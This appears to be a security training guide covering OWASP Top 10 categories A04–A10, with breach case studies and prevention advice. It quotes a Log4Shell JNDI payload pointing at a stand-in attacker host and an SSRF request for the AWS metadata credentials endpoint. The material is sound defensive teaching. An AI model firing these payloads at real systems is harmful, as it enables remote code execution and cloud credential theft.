The Rest of the Top 10
Overview
The OWASP Top 10 (2021) categories A04 through A10 each represent real, exploitable vulnerability classes. While A01 (Broken Access Control), A02 (Cryptographic Failures), and A03 (Injection) get the most attention, these remaining seven categories cause real breaches and deserve understanding.
A04: Insecure Design
Insecure design is a category of flaws that cannot be fixed by better implementation — the design itself is flawed. No amount of perfect coding fixes a fundamentally insecure architecture.
Example: Password recovery via security questions
- Design decision: "Users can reset passwords by answering
their mother's maiden name"
- No implementation fix makes this secure
- The design itself is flawed because the answers are public information
Example: Unlimited resource creation
- Design: "Users can create unlimited API keys"
- An attacker creates millions of keys to exhaust resources
- Rate limiting is a bandaid — the design should limit keys per account
Threat Modeling Prevents Insecure Design
During design review, ask:
- What if a user does this 1 million times?
- What if two users do this simultaneously?
- What if the input is 10GB?
- What if the user is malicious?
- What are the abuse cases, not just the use cases?
Real example: 2019 Capital One
- The design allowed a WAF role to list and read all S3 buckets
- Even if the WAF had not been misconfigured, the role was over-permissioned
- Secure design: WAF role can only access its own configuration bucket
Prevention
- Threat model during design, not after implementation
- Document abuse cases alongside use cases
- Use secure design patterns (token-based operations, rate limits by design)
- Establish trust boundaries and enforce them architecturally
- Limit resource consumption per user/tenant by design
A05: Security Misconfiguration
The most common vulnerability in practice. Default configurations are almost never secure, and complexity creates opportunities for mistakes.
Common misconfigurations:
- Default admin credentials (admin/admin, admin/password)
- Directory listing enabled on web servers
- Verbose error messages showing stack traces in production
- Unnecessary features enabled (WebDAV, sample applications)
- Permissive CORS headers (Access-Control-Allow-Origin: *)
- Cloud storage buckets with public access
- Debug mode enabled in production
- Unnecessary HTTP methods enabled (TRACE, DELETE)
- Default TLS configurations with weak ciphers
Real example: 2017 MongoDB ransomware wave
- Thousands of MongoDB instances exposed to the internet
- Default configuration: no authentication, bound to 0.0.0.0
- 28,000 databases wiped and held for ransom
- The software shipped with an insecure default
Real example: 2019 Elastic search exposures
- Multiple Elasticsearch instances found with no authentication
- 250 million Microsoft customer support records exposed
- Default Elasticsearch configuration did not require authentication
Prevention
- Automated configuration scanning (CIS Benchmarks, cloud security tools)
- Infrastructure as Code with security defaults baked in
- Remove default accounts and sample applications
- Disable verbose errors in production
- Review cloud IAM policies regularly
- Harden web server configurations
- Use security headers (CSP, HSTS, X-Frame-Options, X-Content-Type-Options)
- Automated deployment pipelines that enforce secure configurations
A06: Vulnerable & Outdated Components
Every dependency is code you trust but did not write. When vulnerabilities are discovered in those dependencies, you inherit them.
Real example: 2021 Log4Shell (CVE-2021-44228)
- Critical RCE in Apache Log4j (Java logging library)
- CVSS score: 10.0 (maximum severity)
- Exploit: ${jndi:ldap://attacker.com/payload}
- Affected virtually every Java application
- Many organizations did not know they used Log4j
(transitive dependency, buried 3-4 levels deep)
- Exploitation began within hours of disclosure
- Patches took weeks to fully deploy across organizations
Real example: 2017 Equifax (CVE-2017-5638)
- Known Apache Struts vulnerability
- Patch available for two months before the breach
- Equifax failed to update a single internet-facing server
- 147 million records compromised
Prevention
- Maintain an inventory of all dependencies and their versions
- Subscribe to security advisories for your dependency stack
- Automate dependency scanning (Dependabot, Snyk, npm audit)
- Remove unused dependencies
- Pin dependency versions and review updates
- Track transitive dependencies, not just direct ones
- Have a process for emergency patching (Log4Shell response)
- Evaluate new dependencies: maintenance status, security history
A08: Software & Data Integrity Failures
This category covers failures to verify the integrity of software and data, particularly in CI/CD pipelines and software updates.
Real example: 2020 SolarWinds supply chain attack
- Attackers compromised the SolarWinds build system
- Injected malicious code into Orion software updates
- Updates were signed with valid SolarWinds certificates
- 18,000 organizations installed the compromised update
- Attackers gained access to US government agencies and major corporations
- Went undetected for approximately 9 months
Real example: 2021 Codecov bash uploader compromise
- Attackers modified the Codecov bash script used in CI pipelines
- The script exfiltrated environment variables (including secrets)
- Affected thousands of repositories for two months
- Users did not verify the integrity of the downloaded script
Prevention
- Verify integrity of downloaded dependencies (checksums, signatures)
- Use lock files and verify their integrity
- Sign software releases and verify signatures on install
- Secure CI/CD pipelines: least privilege, audit logs, signed artifacts
- Use Subresource Integrity (SRI) for third-party scripts
- Review and approve dependency updates before merging
- Pin CI/CD action versions to specific commits, not mutable tags
A09: Security Logging & Monitoring Failures
If you cannot detect a breach, you cannot respond to it. Most breaches are discovered months after initial compromise — often by external parties, not the victim.
Statistics (IBM/Ponemon Cost of a Data Breach Report):
- Average time to identify a breach: 204 days (2023)
- Average time to contain a breach: 73 days
- Breaches identified in under 200 days cost $1 million less
- Organizations with security AI and automation saved $1.8 million
Real example: 2013 Target breach
- FireEye monitoring system generated alerts
- Security team in Bangalore flagged the alerts
- US-based team did not act on them
- Attackers had access for weeks before discovery
- The monitoring worked; the response process failed
What to Log
Always log:
- Authentication events (login, logout, failed login, MFA)
- Authorization failures (access denied)
- Input validation failures (potential injection attempts)
- Application errors and exceptions
- Administrative actions (user creation, permission changes)
- Data access to sensitive records (audit trail)
Never log:
- Passwords (even failed ones — typos reveal partial passwords)
- Full credit card numbers or SSNs
- Session tokens or API keys
- Personal data beyond what's needed for the audit trail
Prevention
- Centralize logs (ELK stack, Splunk, Datadog)
- Set up alerts for suspicious patterns (brute force, unusual access)
- Ensure logs cannot be tampered with (append-only, separate storage)
- Test that logging works — simulate attacks and verify detection
- Retain logs long enough for forensic investigation (90+ days)
- Include enough context in logs to reconstruct events
- Have a documented incident response plan
- Practice the plan with tabletop exercises
A10: Server-Side Request Forgery (SSRF)
SSRF occurs when an attacker can make the server send requests to unintended destinations. This is particularly dangerous in cloud environments.
How SSRF works:
1. Application accepts a URL from the user
(e.g., "Enter a URL to fetch a preview")
2. Server fetches the URL on behalf of the user
3. Attacker provides an internal URL:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Server fetches the URL, returning AWS credentials to the attacker
Real example: 2019 Capital One breach
- A misconfigured WAF allowed SSRF
- Attacker reached the EC2 instance metadata service
- Retrieved temporary IAM credentials
- Used credentials to access S3 buckets
- 106 million customer records exposed
- Attacker was a former AWS employee who knew the metadata endpoint
SSRF targets:
- Cloud metadata services (169.254.169.254 on AWS, GCP, Azure)
- Internal services (localhost, 10.x.x.x, 192.168.x.x)
- Internal APIs and admin panels
- File:// protocol to read local files
- Other protocols: gopher://, dict://, ftp://
Prevention
- Validate and sanitize user-provided URLs
- Block requests to private IP ranges and metadata endpoints
- Use allowlists of permitted domains when possible
- Disable unnecessary URL schemes (file://, gopher://, ftp://)
- Use IMDSv2 on AWS (requires token, not vulnerable to basic SSRF)
- Network segmentation: application servers should not reach
sensitive internal services directly
- Run URL-fetching functionality in an isolated network segment
Quick Reference: All Ten Categories
A01 Broken Access Control — Check authz on every request, server-side
A02 Cryptographic Failures — bcrypt passwords, TLS everywhere, encrypt at rest
A03 Injection — Parameterized queries, never trust input
A04 Insecure Design — Threat model during design, consider abuse cases
A05 Security Misconfiguration — No defaults, harden everything, automate checks
A06 Vulnerable Components — Track dependencies, patch promptly, scan regularly
A07 Auth Failures — MFA, rate limiting, breach database checks
A08 Integrity Failures — Verify signatures, secure CI/CD, use lock files
A09 Logging Failures — Centralize logs, alert on anomalies, test detection
A10 SSRF — Validate URLs, block internal IPs, use IMDSv2
Common Pitfalls
-
Treating the Top 10 as a complete list: The OWASP Top 10 is a starting point, not a comprehensive list. It covers the most common and impactful web vulnerabilities, but there are many others (business logic flaws, race conditions, timing attacks).
-
Addressing only the top three: A01-A03 get the most attention, but A05 (Security Misconfiguration) is arguably the most common in practice. Default credentials and exposed admin panels cause breaches regularly.
-
Ignoring transitive dependencies: Your application may use 20 direct dependencies, but those pull in hundreds of transitive dependencies. A vulnerability in any of them affects you. Log4Shell was a transitive dependency for most affected applications.
-
Logging everything except security events: Applications that log detailed business metrics but do not log failed login attempts, authorization failures, or input validation errors cannot detect attacks.
-
Assuming cloud providers handle security: AWS, GCP, and Azure secure the infrastructure, not your configuration. Shared responsibility means public S3 buckets, permissive IAM policies, and exposed metadata endpoints are your problem.
-
Treating the OWASP Top 10 as a checklist for compliance: The value is in understanding the vulnerability classes and how they apply to your specific application, not in checking boxes for an auditor.
Key Takeaways
- A04 (Insecure Design) cannot be fixed with better code — it requires threat modeling during design and considering abuse cases alongside use cases.
- A05 (Security Misconfiguration) is the most common vulnerability in practice. Default credentials, verbose errors, and permissive configurations are consistently exploited.
- A06 (Vulnerable Components) caused two of the most significant breaches in recent history (Equifax via Struts, widespread impact via Log4Shell). Know your dependencies.
- A08 (Integrity Failures) enabled the SolarWinds supply chain attack. Verify software integrity, secure CI/CD pipelines, and pin dependencies.
- A09 (Logging Failures) means breaches go undetected for months. Log security events, centralize logs, and test that detection actually works.
- A10 (SSRF) is particularly dangerous in cloud environments where metadata endpoints expose credentials. Validate URLs, block internal ranges, and use IMDSv2.